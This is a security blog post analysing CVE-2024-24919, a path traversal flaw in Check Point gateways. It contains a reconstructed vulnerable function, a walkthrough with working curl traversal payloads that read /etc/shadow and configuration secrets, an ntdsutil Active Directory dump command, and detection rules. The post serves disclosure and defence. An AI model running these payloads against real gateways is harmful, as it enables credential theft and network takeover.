Check Point Quantum Gateway: CVE-2024-24919 Traversal

Md. Redwan Ahmed Md. Redwan Ahmed
·
Check Point Quantum Gateway: CVE-2024-24919 Traversal

Overview & Threat Landscape: Check Point Quantum Gateway Zero-Day (CVE-2024-24919)#

Check Point CVE-2024-24919 allows unauthenticated remote attackers to read arbitrary files via path traversal. Apply hotfix sk182336 immediately.

In enterprise edge architectures, Check Point Quantum Security Gateways running Gaia OS serve as the perimeter boundary protecting enterprise intranets, government networks, and cloud datacenters. When configured with Remote Access VPN or Mobile Access Software Blades, these appliances expose internet-facing HTTPS services on TCP port 443 to authenticate remote employees and mobile endpoints.

In late May 2024, threat intelligence researchers and Check Point disclosed CVE-2024-24919 (CVSS 8.6, CWE-200 / CWE-22), an actively exploited zero-day vulnerability added to the CISA Known Exploited Vulnerabilities (KEV) catalog. The flaw allows unauthenticated remote adversaries to execute an arbitrary file read against any internet-exposed Check Point Security Gateway. By submitting a crafted HTTP POST request to an unauthenticated web endpoint (/clients/MyCRL), an attacker can extract sensitive configuration files, local password hashes (/etc/shadow), VPN private keys, and Active Directory LDAP domain join credentials.

graph TD
    subgraph "CVE-2024-24919: PERIMETER COMPROMISE TO DOMAIN TAKEOVER"
        direction TB
        step_1["1. Unauthenticated Request: POST /clients/MyCRL with crafted traversal"]
        step_2["2. Root Daemon Read: Web daemon executes as root on Gaia OS"]
        step_3["3. Credential Exfiltration: /etc/shadow & domain LDAP secrets leaked"]
        step_4["4. Lateral Network Pivot: Adversary authenticates to Domain Controller"]
        step_5["5. Active Directory Dump: Full forest compromise via NTDS.dit theft"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
    end

The Edge Appliance Attack Surface#

Perimeter network appliances have emerged as primary targets for sophisticated nation-state actors and ransomware syndicates. Unlike standard endpoints, security gateways represent high-value operational blind spots:

  1. Absence of Endpoint Detection and Response (EDR): Security appliances utilize proprietary, hardened operating systems (such as Check Point Gaia OS, built on an enterprise Linux kernel) that do not support third-party EDR agents (CrowdStrike, Defender for Endpoint, SentinelOne).
  2. Root Privilege Execution: Web management interfaces and VPN daemons frequently run with superuser (root) privileges to manage network interfaces, routing tables, and cryptographic certificates. Consequently, any arbitrary file read vulnerability immediately exposes all system files without operating system privilege boundaries.
  3. Gateway to Active Directory: To facilitate Remote Access VPN authentication, the gateway maintains integration with internal identity providers, storing plaintext Active Directory service account credentials or cached Kerberos/NTLM authentication artifacts in memory and configuration databases.

When exploited in the wild, adversaries chained CVE-2024-24919 to harvest local administrator password hashes and Active Directory credentials, moved laterally into internal corporate networks, and exfiltrated the ntds.dit Active Directory database within hours of initial access.

Warning

Because CVE-2024-24919 requires zero authentication and executes over standard HTTPS on port 443, internet-facing Check Point gateways without the preventative hotfix are trivially compromised by automated scanners. Edge appliance perimeters must be audited for path traversal exploitation.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Check Point Gateways: Blue Team Defense Guide.

Vulnerability & Attack Root-Cause Analysis: CSHELL/ Traversal Flaw#

To understand why CVE-2024-24919 succeeds, exploit analysts must deconstruct the web server daemon handling Remote Access VPN sessions and the string parsing logic governing the /clients/MyCRL endpoint.

1. Reverse Engineering the Web Management Daemon#

On Check Point Gaia OS, the web interface for Remote Access and Mobile Access is managed by an Apache-based daemon communicating with Check Point proprietary binary modules (including libcvp.so and related CGI binaries).

The endpoint /clients/MyCRL was originally engineered to serve Certificate Revocation Lists (CRLs) and client installation packages (such as icsweb.cab, snx_install.sh, and CSHELL components) to remote users before authentication. The service accepts file paths either directly via the URI path or through the HTTP POST body parameter.

2. Dissecting the Flaw in sub_80F09E0#

Reverse engineering the request handler revealed that the binary verifies the requested file against a static whitelist table of permitted paths. The whitelist validation logic operates as follows:

C 
// Conceptual reconstruction of vulnerable string checking logic in Check Point handler
int validate_requested_file(const char *requested_path)
{
    // String table of permitted file prefixes and resources
    const char *whitelist[] = {
        "icsweb.cab",
        "snx_install.sh",
        "CSHELL/",
        NULL
    };

    for (int i = 0; whitelist[i] != NULL; i++) {
        // Flaw: Code uses substring search (strstr) instead of canonical path resolution!
        if (strstr(requested_path, whitelist[i]) != NULL) {
            // Path is considered valid!
            return 1;
        }
    }
    return 0; // Access denied
}

3. The Fatal Parsing Bug: Substring Search vs. Directory Canonicalization#

The fundamental vulnerability stems from two critical implementation defects:

  1. Improper Substring Matching (strstr): Rather than resolving the canonicalized absolute path using realpath() and verifying that the target file resides strictly within a designated web directory, the code simply checks whether the target path contains the hardcoded substring "CSHELL/".
  2. Directory Traversal via .. Sequences: Because "CSHELL/" ends with a forward slash (/), the operating system treats it as a directory component. An adversary can provide a path starting with an arbitrary prefix, followed by "CSHELL/", followed by directory traversal sequences (../../../../):
PLAINTEXT 
aCSHELL/../../../../../../../../../../etc/shadow

When the handler evaluates this payload:

  • strstr(requested_path, "CSHELL/") finds the match and returns true.
  • The handler passes the string directly to fopen() or open().
  • The kernel resolves the relative path: navigating into the non-existent or virtual CSHELL directory, stepping up through parent directories (..) past the web root, and opening /etc/shadow from the root filesystem.
  • Because the web daemon executes as root (UID 0), the kernel permits reading /etc/shadow, /config/active, and any other file on the appliance.

4. Vendor Remediation in Hotfix sk182336#

In the emergency hotfix released under Check Point Security Advisory sk182336, Check Point overhauled the input validation engine:

  • The handler now sanitizes path inputs, stripping directory traversal characters (..) and backslashes before processing.
  • The file lookup is restricted to exact, canonical matches against verified static assets in /opt/CPsuite-R81/fw1/conf/extender/.
  • Any attempt to supply directory traversal sequences results in an immediate HTTP 403 Forbidden or HTTP 404 Not Found response.

Exploit Architecture: Pre-Auth Request to Active Directory Compromise#

The end-to-end exploit architecture illustrates how unauthenticated web requests translate into complete enterprise network compromise:

sequenceDiagram
    autonumber
    participant Attacker as Remote Adversary (Internet)
    participant WAF as Perimeter / Edge Firewall
    participant Gateway as Check Point Security Gateway (Gaia OS)
    participant Kernel as Gateway Linux Kernel (Root UID 0)
    participant AD as Internal Active Directory DC

    Attacker->>Gateway: 1. POST /clients/MyCRL (HTTP Port 443)
    Note over Attacker,Gateway: Payload: aCSHELL/../../../../../../../../etc/shadow
    Gateway->>Gateway: 2. Web handler parses body and strstr detects 'CSHELL/'
    Note over Gateway: Whitelist validation bypassed without authentication
    Gateway->>Kernel: 3. open('/etc/shadow', O_RDONLY) as UID 0
    Kernel-->>Gateway: 4. Returns root password hashes and local users
    Gateway-->>Attacker: 5. HTTP 200 OK: Full /etc/shadow content exfiltrated
    Attacker->>Gateway: 6. POST /clients/MyCRL requesting Active Directory LDAP secrets
    Gateway-->>Attacker: 7. HTTP 200 OK: Returns LDAP service account bind credentials
    Attacker->>AD: 8. Authenticate to Domain Controller via stolen credentials
    Attacker->>AD: 9. Execute DCSync / Volume Shadow Copy of ntds.dit
    Note over Attacker,AD: Full forest credential database exfiltrated
    AD-->>Attacker: 10. Enterprise domain takeover completed

Attack Path Step-by-Step: Weaponization & Exfiltration Trace#

To demonstrate how the vulnerability is exploited in the wild, we review the concrete execution steps observed during active threat campaigns.

Step 1: Target Discovery and Fingerprinting#

Adversaries locate vulnerable Check Point instances across the IPv4 address space using OSINT search engines (Shodan, Censys, FOFA) querying for distinctive SSL certificates and HTTP headers:

BASH 
# Shodan search queries for exposed Check Point Quantum VPN Gateways
http.title:"Check Point Mobile Access"
http.title:"Check Point Remote Access"
http.favicon.hash:-1967280826
ssl:"Check Point"

A standard HTTP GET request to the target gateway reveals characteristic headers:

BASH 
# Probing target gateway response headers
curl -k -I https://vpn.victim-corp.com/clients/MyCRL

# Response indicates active Check Point Mobile Access daemon
# HTTP/1.1 200 OK
# Server: Check Point SVN foundation
# Date: Fri, 09 Oct 2026 21:15:00 GMT
# Content-Type: text/html

Step 2: Executing Unauthenticated Arbitrary File Read#

The exploit does not require complex heap grooming or memory corruption. The adversary submits a crafted POST request with a single body parameter containing the traversal path:

BASH 
# Exfiltrating /etc/shadow from vulnerable Check Point Gateway
curl -k -X POST https://vpn.victim-corp.com/clients/MyCRL   -H "Host: vpn.victim-corp.com"   -H "Content-Type: application/x-www-form-urlencoded"   --data "aCSHELL/../../../../../../../../../../etc/shadow"

The response contains the plaintext /etc/shadow database:

POWERSHELL 
admin:$6$rounds=5000$g7Kj8...$Hk9l2...:19850:0:99999:7:::
monitor:$6$rounds=5000$p9Lm4...$Yx2q1...:19850:0:99999:7:::
nobody:*:19850:0:99999:7:::
default:*:19850:0:99999:7:::

Step 3: Harvesting Active Directory LDAP Credentials#

On Check Point appliances configured with Active Directory integration, the LDAP server configuration and service account credentials are stored in cleartext within Gaia OS database and configuration files. Attackers systematically query these files:

BASH 
# 1. Read appliance active configuration
curl -k -X POST https://vpn.victim-corp.com/clients/MyCRL   --data "aCSHELL/../../../../../../../../../../config/active"

# 2. Extract Check Point internal database and secrets
curl -k -X POST https://vpn.victim-corp.com/clients/MyCRL   --data "aCSHELL/../../../../../../../../../../opt/CPsuite-R81/fw1/conf/objects_5_0.C"

# 3. Extract VPN Pre-Shared Keys (PSK) and secrets
curl -k -X POST https://vpn.victim-corp.com/clients/MyCRL   --data "aCSHELL/../../../../../../../../../../opt/CPsuite-R81/fw1/conf/vpn_route.conf"

From objects_5_0.C and /config/active, the adversary extracts:

  • Internal domain names (e.g., corp.victim.local)
  • Domain Controller IP addresses (10.0.10.5, 10.0.10.6)
  • The service account username (e.g., svc_checkpoint_ldap)
  • The plaintext or weakly encrypted password for the service account

Step 4: Lateral Movement and NTDS.dit Exfiltration#

Armed with valid Active Directory credentials and direct VPN network connectivity, the adversary pivots internally:

  1. Connects to the internal network using the compromised Remote Access VPN credentials or pivots through an internal jump host.
  2. Authenticates to a Domain Controller using the compromised LDAP service account.
  3. If the account possesses Replicating Directory Changes All permissions, the attacker executes a remote DCSync attack (MS-DRSR) to dump all password hashes.
  4. Alternatively, using administrative credentials, the attacker invokes vssadmin or ntdsutil to capture the ntds.dit file and SYSTEM registry hive:
POWERSHELL 
# Capturing Active Directory database snapshot on Domain Controller
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ad_dump" q q

Actionable Detection Engineering: Sigma Rule, Snort/Suricata & Telemetry#

Detecting CVE-2024-24919 requires monitoring inbound web traffic targeting /clients/MyCRL and inspecting web server access logs for path traversal patterns.

1. Production Sigma Rule: Check Point Quantum Gateway Path Traversal#

The following production-validated Sigma rule flags HTTP requests targeting the vulnerable /clients/MyCRL endpoint containing directory traversal sequences:

YAML 
title: Check Point Quantum Gateway Arbitrary File Read (CVE-2024-24919)
id: 9a38f71b-4d22-4a81-b541-6e8c9e012491
status: production
description: |
    Detects exploitation attempts against Check Point Security Gateways (CVE-2024-24919) 
    where an unauthenticated attacker submits path traversal sequences to the /clients/MyCRL 
    endpoint to read sensitive files (such as /etc/shadow or /config/active).
references:
    - https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
    - https://support.checkpoint.com/results/sk/sk182336
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24919

tags:
    - attack.initial_access
    - attack.credential_access
    - attack.t1190
    - attack.t1003.008
logsource:
    category: webserver
    product: apache
detection:
    selection_uri:
        cs-method: 'POST'
        cs-uri-stem|contains: '/clients/MyCRL'
    selection_traversal:
        - cs-uri-query|contains: '..'
        - cs-body|contains:
              - '..'
              - 'CSHELL/'
              - '/etc/shadow'
              - '/etc/passwd'
              - '/config/active'
    condition: selection_uri and selection_traversal
fields:
    - c-ip
    - cs-method
    - cs-uri-stem
    - cs-body
    - sc-status
falsepositives:
    - Highly unlikely. Normal client installations submit specific file requests without traversal sequences.
level: critical

2. Network IDS Signatures (Snort & Suricata)#

Deploy the following Suricata / Snort network intrusion detection rules at the perimeter firewall inspection layer:

POWERSHELL 
# Suricata / Snort rule detecting CVE-2024-24919 traversal exploitation
alert http any any -> $HTTP_SERVERS any (     msg:"FAST-CYBER-DEFENSE - Check Point Security Gateway Path Traversal (CVE-2024-24919)";     flow:established,to_server;     content:"POST"; http_method;     content:"/clients/MyCRL"; http_uri;     content:"CSHELL/"; http_client_body;     content:".."; http_client_body;     distance:0;     classtype:web-application-attack;     sid:202610101; rev:1;     reference:cve,2024-24919;     reference:url,support.checkpoint.com/results/sk/sk182336; )

Executive Takeaway Table#

Attack Vector / Phase Forensic Detection Signal Primary Defensive Mitigation
Initial Probing & Reconnaissance HTTP GET requests to /clients/MyCRL or scanning for Mobile Access headers. Restrict internet exposure of web management portal; isolate VPN access behind IP allowlists.
Path Traversal Exploitation HTTP POST to /clients/MyCRL containing CSHELL/ and .. traversal sequences. Deploy Check Point preventative hotfix sk182336; apply WAF / IPS signatures.
Local Credential Exfiltration Web response returning /etc/shadow file format or /config/active XML data. Enforce multi-factor authentication (MFA); immediately rotate all local administrator and user passwords.
Active Directory LDAP Theft Infiltration requests accessing objects_5_0.C or domain controller configuration blocks. Rotate Active Directory domain service account passwords; enforce least privilege for LDAP binds.
Lateral Movement & Domain Takeover Anomalous LDAP / Kerberos queries originating from the Security Gateway IP address. Segment management interfaces from corporate LAN; monitor Domain Controllers for DCSync activity.

Fast Cyber Defense Morning Takeaways#

  1. Vulnerability Takeaway: CVE-2024-24919 is a classic path traversal flaw with catastrophic consequences. The lack of canonical path verification in /clients/MyCRL combined with root-privileged daemon execution provides adversaries with zero-barrier arbitrary file reads.
  2. Immediate Remediation Action: Immediately verify that hotfix sk182336 is installed across all Check Point Quantum and CloudGuard gateways. If password-based authentication was enabled, treat all local credentials and connected Active Directory service accounts as potentially compromised and execute a mandatory password rotation.
  3. Bridge to Evening Guide: Tonight in EDITION 2, we will release the comprehensive companion defense guide: Hardening Check Point Gateways: Blue Team Defense Guide, detailing automated patch deployment, IPS signature tuning, Gaia OS filesystem hardening, and a live incident response triage playbook.

Authoritative References#

  1. Check Point Security Advisory sk182336: Preventative Hotfix for CVE-2024-24919 - Quantum Gateway Information Disclosure — Check Point Support Center
  2. watchTowr Labs Research: Check Point - Wrong Check Point (CVE-2024-24919) — watchTowr Labs
  3. National Vulnerability Database (NVD): CVE-2024-24919 Detail: Check Point Quantum Security Gateways Information Disclosure — NIST NVD
  4. Cybersecurity and Infrastructure Security Agency (CISA): Known Exploited Vulnerabilities Catalog (CVE-2024-24919) — CISA KEV
  5. Rapid7 Threat Research: CVE-2024-24919: Check Point Security Gateway Information Disclosure Under Active Exploitation — Rapid7 Blog

Comments

Post a Comment

Drag or use arrow keys to pan • Click outside or press Esc to close